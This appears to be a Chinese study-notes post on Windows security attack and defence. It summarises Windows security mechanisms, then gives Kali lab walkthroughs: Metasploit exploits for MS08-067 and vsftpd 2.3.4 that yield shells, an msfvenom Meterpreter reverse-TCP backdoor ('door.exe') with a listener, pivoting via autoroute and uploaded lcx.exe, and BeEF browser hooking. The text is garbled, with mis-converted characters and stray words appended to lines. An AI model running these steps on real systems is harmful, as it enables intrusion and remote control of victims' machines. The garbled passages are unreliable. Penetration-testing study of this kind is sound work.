第7章. Windows 操做系統安全攻防html
Windows操做系統的安全體系結構與機制sql
Windows安全體系結構
基於引用監控器(Reference Monitor)模型來實現基本的對象安全模型。最核心的是位於內核中的SRM(Security Reference Monitor)安全引用監控器,以及位於用戶態的LSASS安全服務。shell
Windows身份認證機制
分爲用戶,用戶組,和計算機三大類。對於每一個安全主體,以時間和空間上都全局惟一的SID安全標識符來進行標識。
Windows用戶密碼通過加密處理後被保存於SAM或者活動目錄AD中,其中本地用戶帳戶口令信息通過不可逆的128位隨機祕鑰Hash加密後存儲在SAM文件中。
Windows進程、GINA圖形化登陸窗口,與LSASS服務經過協做來完成本地身份認證過程。數據庫
Windows受權與訪問控制機制
Windows受權與訪問控制機制是基於引用監控器模型,由內核中的SRM模塊與用戶態的LSASS服務共同來實施。
Windows對於系統中全部須要保護的資源都抽象成對象,而對每一個對象會關聯一個SD安全描述符(Security Descriptor)都會關聯一個對象描述符,有如下屬性組成:Owner SID、Group SID、DACL 自主訪問控制列表、SACL 系統審計訪問控制列表。windows
Windows安全審計機制
系統審計策略在本地安全策略中由系統管理員定義,來肯定系統對哪些事件進行記錄。api
Windows的其餘安全機制
Windows安全中心中集成了對於保護Windows系統安全穩定運行最爲關鍵的三項安全措施:防火牆,補丁自動更新,以及病毒防禦。除了安全中心外,Windows的安全特性還包括IPSec加密與驗證機制、EFS加密文件系統、Windows文件保護機制、捆綁的IE瀏覽器所提供的隱私保護與瀏覽安全保護機制等。瀏覽器
Windows遠程安全攻防技術安全
Windows遠程攻擊技術可分爲:遠程口令猜想與破解攻擊、攻擊Windows網絡服務、攻擊Windows客戶端及用戶網絡
Windows系統的安全漏洞生命週期
Windows安全漏洞發現、利用與修補過程
安全漏洞公開披露信息庫:幾個知名的通用漏洞信息庫:CVE、NVD、SecurityFocus、OSVDB等。
針對特定目標的滲透測試攻擊過程:session
①漏洞掃描測試
②查找針對發現漏洞的滲透代碼
③實施滲透測試
使用Metasploit軟件實施滲透測試
Metasploit是徹底開源的滲透測試軟件。採用開發框架和模塊組件的可擴展模型,以Ruby語言編寫的Metasploit Framework(MSF)庫做爲整個軟件的基礎核心,爲滲透測試組件的開發與測試提供平臺;模塊組件是真正實施滲透攻擊的代碼。
Metasploit提供了CLI、Console、Web和GUI四種不一樣的用戶交互接口,其中Console終端是比較經常使用的方式。
Windows遠程口令猜想與破解攻擊
遠程口令自猜想
遠程口令字交換通訊竊聽與破解
遠程口令猜想與破解防範措施
Windows網絡服務遠程滲透攻擊
Windows操做系統默認開放135(TCP),137(UDP),139(TCP)與445(TCP)端口,對應的網絡服務爲MSRPC與過程調用服務,NetBIOS網絡基本輸入輸出系統服務和SMB文件與打印機共享服務。
針對NetBIOS網絡服務的著名漏洞及攻擊 針對SMB網絡服務的著名漏洞及攻擊 針對MSRPC網絡服務的著名漏洞及攻擊 針對Windows系統上微軟網絡服務的遠程滲透攻擊 針對Windows系統上第三方網絡服務的遠程滲透攻擊 網絡服務遠程滲透攻擊防範措施
MS08-067漏洞的全稱爲「Windows Server服務RPC請求緩衝區溢出漏洞」,若是用戶在受影響的系統上收到特製的 RPC 請求,則該漏洞可能容許遠程執行代碼。在 Microsoft Windows 2000Windows XP 和 Windows Server 2003 系統上,攻擊者可能未經身份驗證便可利用此漏洞運行任意代碼,此漏洞可用於進行蠕蟲攻擊,目前已經有利用該漏洞的蠕蟲病毒。
本次實驗使用的攻擊機是kali,靶機是WinXP
攻擊機:192.168.14.136
靶機:192.168.14.131
1.在Kali中使用metasploit,首先啓動PostgreSQL數據庫服務和metasploit服務
但kali 2.0 已經沒有metasploit 這個服務了,因此service metasploit start 的方式不起做用。
在kali 2.0中啓動帶數據庫支持的MSF方式以下:
首先啓動postgresql數據庫:/etc/init.d/postgresql start;或者 service postgresql start
初始化MSF數據庫(關鍵步驟!):msfdb init
運行msfconsole:msfconsole
在msf中查看數據庫鏈接狀態:db_status
2.查找是否存在ms08-067漏洞,看到返回相應信息
3.輸入使用該漏洞攻擊程序:命令:use exploit/windows/smb/ms08_067_netapi;執行結束後以下:
4.設置靶機和攻擊機的地址
set RHOST 192.168.14.131 set LHOST 192.168.14.136
5.接下來就是實施攻擊了,執行命令exploit
一、searchsploit能夠藉助關鍵詞搜索漏洞信息以及漏洞對應的exp
searchsploit wordpress
列出了漏洞和文件地址。
查看列出的文件,例:
二、ikat自動化開啓不一樣的exp。等待目標訪問中招。
三、termineter旨在評估智能電錶的安全性
Metasploit在滲透測試中常常被用到。這套軟件包括了不少工具,這些工具組成了一個完整的攻擊框架。
一、啓動服務
在Kali中使用Metasploit,須要先開啓PostgreSQL數據庫服務和metasploit服務,而後就能夠利用msf數據庫查詢exploit和記錄。
二、路徑介紹
Kali中msf的路徑爲/usr/share/metasploit-framework
三、基本命令
msfpayload:用來生成payload或者shellcode。 搜索能夠用msfpayload -l |gre "windows"
查詢; -o選項能夠列出payload所需的參數。
msfencode:msf中的編碼器,早期用來繞過AV(殺毒軟件),現經常使用msfpayload與它編碼避免exploit的壞字符串。
msfconsole:開啓metasploit的console。輸入msfconsole,打開msf
四、測試示例:發現漏洞,搜索exploitnmap -sV 192.168.14.136
能夠看到21端口開放的是ftp服務,用的版本是vsftpd 2.3.4
此版本是否存在漏洞,在msf裏用search vsftpd
搜索一下
發現有匹配項
五、測試示例:選擇exploit,查看參數
查看參數,發現RHOST的參數還未設置,接下來爲其設置參數set RHOST 192.168.14.136
六、測試示例:選擇payload設置好以後,show options
查看參數,發現沒有要設置的參數了。
七、執行攻擊
輸入exploit
便可進行攻擊測試,若是成功,將返回一個shell:
此時可查看id,ip地址,還有一些文件信息等,可獲取目標主機的權限。
1.生成Meterpreter後門;打開MSF,開啓監聽(選擇exploit/multi/handler);在目標機器上執行door.exe;
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.14.136 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe /* 查看本身的IP地址爲192.168.14.136,LHOST、LPORT爲reverse_tcp的參數,能夠在msf裏查看到(記得把服務啓動)*/
發現設置成功後仍沒法顯示,由於新版本的kali下msfpayload已經被移除了。之後只要使用msfvenom就好了,它集成了msfpayload和msfencode的功能:
因此生成meterpreter後門的命令等同爲:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.14.136 LPORT=2333 -i 5 -f exe /root/door.exe
生成成功,將其移入XP系統中:
2.打開MSF,開啓監聽
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp show options set LPORT 2333
修改監聽端口:
3.在目標主機上執行door.exe
在kali的msf中執行exploit開始監聽:
在跳板獲取必定權限後須要積極地向內網主機權限發展,獲取指定的目標信息,探查系統漏洞,藉助msf已經獲得的Meterpreter後門,可使系列的操做更容易。
run autoroute -s 10.0.0.1
可使用msf中的模塊跨網段攻擊或掃描。可經過腳本autoroute快速添加。run arp_scanner -r 10.0.0.1/24
upload lcx.exe c:\\
傳送文件到c盤根目錄。對XSS漏洞的利用須要一個強大的框架支持,BeeF是瀏覽器攻擊框架的簡稱,是一款專一於瀏覽器端的滲透工具。
1.命令行下啓動BeeF
直接使用命令 beef-xss便可,打開瀏覽器,會自動跳轉至beef登陸頁面:
默認用戶名:beef 密碼:beef
便可進入主界面:
2.假設被測試主機因爲XSS漏洞請求到
測試利用:輸入網址http://127.0.0.1:3000/demos/basic.html,能夠進入一個測試頁面:
這樣在主界面左端就能夠看到一個在線主機:
3.HOOK持續的時間爲關閉測試頁面爲止,在此期間至關於被控制了,能夠發送攻擊命令,在Commands模塊咱們能夠完成不少任務。
其中。4中顏色分別表示:
該攻擊模塊可用,且隱蔽性強 該攻擊模塊可用,但隱蔽性差 該用戶模塊是否可用還有待驗證 該攻擊模塊不可用
4.選取MISC下的Raw JavaScript模塊爲測試用例
有段表格有該模塊的詳細說明,以及一些可選的參數等。點擊Excute進行攻擊:
5.Proxy功能
選中目標主機,點右鍵,在菜單中選中use as proxy,而後在rider選項卡中的forge request 編輯併發送想要發送的內容:
信息發送後,可經過History選項看到,待傳輸成功後,點擊相應的信息,便可顯示詳細的傳輸過程:
6.BeeF與Metasploit結合加載
BeeF默認是不加載Metasploit的,若是要使用Metasploit豐富的攻擊模塊,須要作些配置:
修改文件config.yaml
打開一個msfconsole
能夠看到Metasploit下面多了不少可使用的模塊。
修改 /usr/share/beef-xss/config.yaml中的Metasploit一行爲true:
重啓beef發現已經加載了不少Metasploit的攻擊模塊: